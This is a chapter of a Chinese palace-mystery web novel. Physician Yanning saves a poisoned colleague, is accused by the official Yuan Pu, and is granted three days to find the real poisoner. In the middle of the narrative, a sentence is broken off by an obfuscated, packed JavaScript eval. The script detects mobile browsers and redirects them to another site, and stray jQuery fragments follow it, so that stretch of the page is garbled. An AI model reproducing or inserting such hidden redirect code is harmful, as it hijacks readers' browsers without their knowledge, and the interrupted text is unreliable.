第98章
雁宁一靠近宁曦和的厢房,就看见里面有一个脸生的学子正跌坐在地上,满脸惊恐地往后退,面色十分难看,似乎已经被吓傻了。
顺着他的目光望去,倒在地上的宁曦和眼神迷离,苍白的面庞没有一丝血色,口吐白沫,十分痛苦的模样却一动也不动。
看见这一幕,雁宁背后一凉,心脏仿佛被雷击中一般。
可还没等她靠近房内,便被尚方司的差役给拦下,厉声呵斥道:“你是什么人?大人早已下令不允任何人进入此屋!”
雁宁猛然抬起头来,眼神凌厉无比,目光好似刀子一般泛着逼人寒气,和对方的视线相撞,令差役心中一凛,明明此时还有有回旋的余地,她不能眼睁睁看着宁曦和就这样毒发身亡,就算只有一成的把握,也要试上一试,这样做不仅是为了她自己,也是为了作为一个医者的原则,不能见死不救。
她来不及做过多的解释,一时间愤怒和不安涌上心头,几乎无法控制住自己的情绪,清亮的嗓音中压抑着怒气:“她还没有死!若不及时救治,等毒性彻底发作后,半个时辰之内,中毒之人便会气绝身亡!”
“让开!”她脸色愈发地阴沉,嗓音带了几分斥责:“要是宁医师真出事了,你能负责得了吗?!”
差役卓然而立的身子有那么一瞬间的颤抖,迟疑片刻,只好侧身为她让开一条路来,语气变得客气起来:“请吧,只是你……”
还没等他说完,雁宁抬步就走了进去,又愕然失色呆立不动,这房内好像隐约弥漫着什么奇怪的味道,好像还有些熟悉,她似乎还在哪里闻过这种香气,不过此时也想不了这么多了。
雁宁撩起衣袖,轻轻搭在宁曦和的手腕上触了触脉搏,然后逐渐加重力度,只觉这脉象微弱难寻,心中不禁一沉,赶紧起身在房内寻找什么,待看见摆放在柜子上的银针,便即刻拿下来重新回到她身旁开始针灸,将她体内的毒素排出一些,却也不能完全治愈。
很快就见到宁曦和的眉心动了动,眼皮沉重地眨了几下,随即闷哼了一声,连说话的力气都还没回来。
见此情形,雁宁这才缓缓地松了口气说道:“好好躺着,别动。”
宁曦和动了动唇,像是要说些什么,可终究还是撑不住又昏迷了过去,这一刻,雁宁似乎又闻到了那股熟悉的味道,她眼底带着明显的困惑,然后凑近宁曦和的口鼻处一闻,她的瞳仁骤缩,心也在扑通扑通地狂跳着。
没错了,原来味道是从宁曦和口中传出的!
宁曦和颜面及口唇呈青紫色,口中有苦杏仁味,七窍都有血渗出,毒素肉眼可见地向四肢百骸蔓延,这种种中毒的迹象均与一种毒重合。
雁宁下意识地呢喃道:“落雁沙……”
一想到这儿,她眼眶就有些微微发红,兴奋的情绪难以掩饰,反应过来,雁宁忽然捉住一旁蓝衣学子的手臂,好不容易才将声音压下来:“怎么回事?!这到底是怎么回事?!你方才进来时可有见到什么人?”
蓝衣学子跌坐在地上,被她这么一抓,他眼中闪烁着惊恐,险些失声尖叫,被雁宁握在手心里的手抖得更厉害了,显然是怕到了极点。
雁宁很快压下内心的慌乱,送开他的同时扯出一个得体的笑:“我只是想问问你,并没有其他的意思,此前你可还见过有谁来到过宁医师的房中?”
她的笑容变得有些僵硬,双目已经充血而变得异常狠戾吓人,却仍然保持着镇定自若的样子,简直笑的比哭的还难看,她如今这个模样,任谁见了都会忍不住打个寒颤。
蓝衣学子的一张脸铁青,似乎被雁宁这副模样给吓住,浑身抖成一团,牙缝里哆哆嗦嗦挤出来几句话:“不是我……这不关我的事,我只是来给宁医师送东西的,她方才还好好的,我也不知道她怎么就突然变成了这个样子……”
雁宁抓住重点:“方才?那她是吃了什么东西吗?”
蓝衣学子抬手指了指桌上的食盒,颤声答道:“糕点……食盒里的糕点……她方才就是吃了这食盒里的糕点才变成这样的……”
这时,门外很快传来几道异口同声的唤:“元大人。”
“人都清理了没?”说话之人正是尚方司郎中元浦,元大人。
差役颔首禀报:“此刻房内只有中毒之人,见证之人,还有一个小娘子……”
话还没说完,元浦似乎就已经明白了些什么,压着一腔怒火高声呵斥道:“全都出去!保护现场,不要骚动!”
没时间了,她须得不留痕迹地及时记下现场任何可疑之处,桌上有一对茶盏,和雁宁送来装糕点的食盒摆放在一起,似乎二人方才是坐在这边吃茶,一杯尚且是满的,另一杯则已经空了,桌上摆放的食盒里只剩下一块儿被咬过一半的糕点,想必是宁曦和吃剩的,不论接下来的是什么情况,被她吃剩的那块儿糕点,这个线索必须先握在手里才行,雁宁趁着此时没人注意到里面的情况,便连忙将那半块儿糕点包在手帕里随之带入了袖中。
还有那杯还未来得及喝下的茶,却是雁宁无法带走的,茶水虽没有什么重要线索,只是于她而言却没面上那么简单。
元浦跨步走进来,他那犀利的目光三三人之间来回扫了几次,时候落在了一人的身上,就这么静静地盯着雁宁的背影,眼里的凶光毫不掩饰地暴露出来,阴冷着一张脸问:“你是谁?”
雁宁闻声愕然起身,缓缓回眸望来时,眼睛里泛着淡淡的水色,显得深不可测,令人难以捉摸,似乎还有些历经沧桑之后的伤感,她唇角忽然漾起一抹若有似无的笑,沉声道:“我就是韩少溪。”
元浦不由轻蔑地一笑,挥了挥手说:“来人,给我把她抓起来!”
雁宁闻言,眼神中蓦地闪过一丝慌乱,一时没反应过来,就已经被两旁的差役按上来架住了胳膊。
这一刻她遍体生寒,看着元浦这架势便知不对,心头一凛,质问道:“你们这是做什么?!无凭无据的,元大人凭什么抓我?!”
元浦甚至还笑了一声,只道:“韩少溪,你作为最后一个见到宁曦和的人,嫌疑最大,同时也应该很清楚她死前都做了些什么。”他伸手拿出一块儿食盒里的糕点,一面观察起来,一面说道:“想必这便是被下了毒的糕点,也是你送来的吧?”
他就这么不由分说地把屎盆子往雁宁头上扣,可她真是没想到,会有人将这种后宫争斗中最阴损毒辣的下作手段,用到了她的身上,不仅是害了雁宁这个背锅之人,也是害了那个差点儿无辜枉死的宁曦和,但好在她来得及时,没能让那背后捅她刀子的下作小人得逞。
雁宁本以为自己不去主动找旁人的麻烦,那旁人自然也不会想着对你动手,更没有理由要对你动手,但转念一想,有心之人想要害你,自有千万般的手段等着你,只是没想到的是,这一遭属于她的劫难居然会来得这般快,快到雁宁还没来得及想好应对的法子。
虽然身陷于突如其来的危局当中,她身上反而沉下来一股极致的冷静,淡淡道:“是我送的,可是那又如何?”
说话时,雁宁的每个字眼都透露出果敢和坚定,语气平平听不说起伏:“我送完糕点走后,已经是戌时四刻,而宁医师出事则是在亥时初刻,期间隔了有半个时辰的光景,焉知不会有其他人来?元大人又凭什么笃定我就是最后一个见到宁医师之人?”
她的声音太过于平静冷淡,以至于带了几分慑人的森然,本要将她押走的差役们皆是一愣,下意识停下了手里的动作。
雁宁虽一直坚称自己是清白无辜的,虽然他们无凭无据,但她也如今也没有什么能够证明自己清白的东西,毕竟给宁曦和送的糕点的确被人下了毒,仅凭这一点雁宁是绝对撇清不了关系的,便只有将矛盾引向别处。
元浦没想到她都快要死到临头了,竟然还能沉下心来如此冷静地应对眼前的困境,只是可惜了,房内人证物证皆在,即便她再是巧舌如簧,能言善辩,也终究是逃不过这一遭劫难。
他面无表情,声寒如冰,话中含着淡淡漠然:“你要说什么,等进了尚方司,再来一一同我道明你的冤屈也不迟。”
眼见与他争辩不显作用,雁宁眼里愠色渐浓,目光如同利刃般狠狠瞪向他的后背,唇角勾起一抹冷笑,开口的声音低沉有力,让人无法忽视:“你这样不听人辩解,不分青红皂白地就将人给绑走,难道是想要屈打成招吗?!翰林医官院众医师也都看在眼里,想必元大人应当知晓尚方司是个什么样的地方,活人进去便会交代掉半条命,倘若事后证明我清白无辜,元大人又该如何对翰林医官院交代?要是你们当真寻不到凶手,那我岂不成了替罪羔羊了?”
所以此地她是万万不能进去的,雁宁在这宫中住了也有好几日,有些学子总会凑在一起谈论王宫中的凡尘琐事,她期间不乏听闻过尚方司刑罚的厉害和元浦的手段,若真进了那种狼窝,天知道会是什么样儿的光景?若皆时真查不出是何人所为,那雁宁就顺势成了替死鬼,可这案子是实打实地发生了,要是找不出凶手,定会被上面怪罪下来,所以尚方司司的手段几乎是无所不用其极,屈打成招,严刑逼供,不论是不是雁宁所为,但只要是有人肯认罪,那这个案子便是过去了。
周围凑热闹的学子和尚方司差役听完雁宁的话,都不由露出不可置信的神情来,眼前这位表面上看似娇娇弱弱的小女郎,竟然敢与慎刑司手段一向是阴狠毒辣的元大人公然叫板,想必是不想活了。
就连元浦也忍不住回过身定定地看着她,忽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16835165|177866||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然意味深长地一笑,但这种看似表面上平静的神情,往往意味着更多的危险,众人皆忍不住替雁宁捏了一把汗,生怕那个手段毒辣的元大人会对她做些什么,此时就连她自己也这么觉得。
少顷,他轻勾下唇,看向雁宁的眼神分外平静:“是么?真是好一个牙尖嘴利的小娘子,都说了随我回尚方司之后,你再慢慢招来也不迟啊。”
真是奇怪得很,在众人眼里都知道元浦是个什么样的人,为了完成任务可以不择手段,即使是对自己的手下也丝毫不会留情,一旦犯错便会严惩不贷,特别是他看人的眼神,可瘆人可恐怖了,就连尚方司的差役都没想到,他的脾气居然可以这般好?雁宁如此忤逆他,同他公然叫板,几乎是一点儿颜面都不留给他,结果元浦却是一点都没追究,也没有说过任何吓唬人的重话。
下一刻,他登时就变了脸色,冷然:“带走。”
才刚走下石阶,左右两边架住雁宁的差役忽然停下了脚步,竟然还慢慢地往后退了几步,连着着她也一起,倒像是有什么人在前面正将他们逼退。
元浦似乎有些意外地说道:“哟?小林大人这是听了消息来了呀?”
听见这个令人耳熟的名字,雁宁似乎意外极了,然而抬起头来竟对上严林一双含笑的眼,便一直怔住,没反应过来,她着实想不到,周围都是尚方司的人,他居然会有胆子带着浩浩荡荡一帮人闯进了清宁宫,一帮学子初入后宫,大多都没有见过这样吓人的场面,不免有些惊慌失措。
“放开她。”严林薄唇轻启,眸光寒冷至极。
元浦直视着严林,极为清楚地看见了他眼底骤然划过的狠戾。
“别着急呀。”他对严林倒是恭敬,笑起来道:“小林大人这是只将消息听了一半呀?可知你要我放开的是何人么?”
严林却是丝毫不领情,冷冷地扫了他一眼,然而目光中所透露出的,却是绝对的淡漠与杀意:“我管你是什么人?把她放了。”
那元浦上下打量了雁宁两眼,忽然冷笑一声,脸色倏然沉了下来,嗓音里似乎还透着隐隐的不悦,对准雁宁的脑门儿扬手怒指道:“我此刻缉拿的,是这个案子的嫌犯!”
周围的学子都被他这声音震得一悚,几步全都慌忙朝后退去,差点儿没吓出冷汗。
严林对于这种悍然场面,却是见得多了,便也没太大反应,沉默半晌之后,他平淡的神情突然生出一点凶戾:“你既说了是嫌犯,而我看元大人如今这架势,倒像是真把这位小娘子当成了真凶。”
元浦怒极反笑,压着怒火沉声道:“我正要将她带回审问,就不劳小林大人操心了,快给我把她带走!”
严林却是并不打算就这样放元浦离去,他面色一沉,微皱的眉心透着一种凌厉,浑身都是一种上位者不可侵犯的气场,丝毫不留情面地对眼前的这帮人抛出一个警告:“韩医师是慎太妃的救命恩人,我看你们谁敢动她?!”
此言一出,架住雁宁的两名差役顿时停下了手上的动作,有些为难地看向元浦,颤声问了一句:“大人……这该如何是好?”
元浦似乎是气极了,便垂下眼睫,意味深长地问了一句:“那小林大人想怎样?”
这或许是个好时机,现如今雁宁已然被逼入绝境,倒不如就此豁出去了,再也没有此前半分的畏首畏尾,还未等严林出声,竟就被她抢先一步说道:“给我三日期限,三日之内,我必破此案。”
雁宁知道,这句话一说出,她同时也被自己推上了绝境。
元浦面色不悦,冷声厉喝:“好一个口出狂言!”
说罢,他便想朝着雁宁的方向走去,还没走出去几步,就被一旁的人给拦了下来,人人皆知尚方司有两位郎中,一位是元浦,另一位则是王上奏派掌司印,为最高负责人,能得拦住一向我行我素的元浦,想必便是尚方司另一位郎中了。
衡元正及时出声解围道:“既然如此,我便给你个机会,这个案子就交予韩医师,各位也要协力配合,务必将真凶绳之以法。”
差役们异口同声地颔首应:“是。”
“你这是做什么?!”元浦此时却彻底沉下了脸,神色紧绷,一双眼睛正死死地盯着他,嗓音带了几分斥责。
衡元正没搭理元浦,甚至还把他往自己的方向扯了扯,力道不算轻,一面去扯元浦,一面又朝着雁宁两人温和一笑,神态温和,很是彬彬有礼的模样,他轻轻点了点头说道:“韩医师,这案子你若是三日内能破,我便即刻去王上那里禀报,记你一功,还你清白。”
元浦就这样任由着他的动作,也没有想要挣脱开的意思,雁宁觉着他们二人之间的关系肯定不一般,显然只有衡元正才能整治一向我行我素的元浦,还真是一物降一物啊!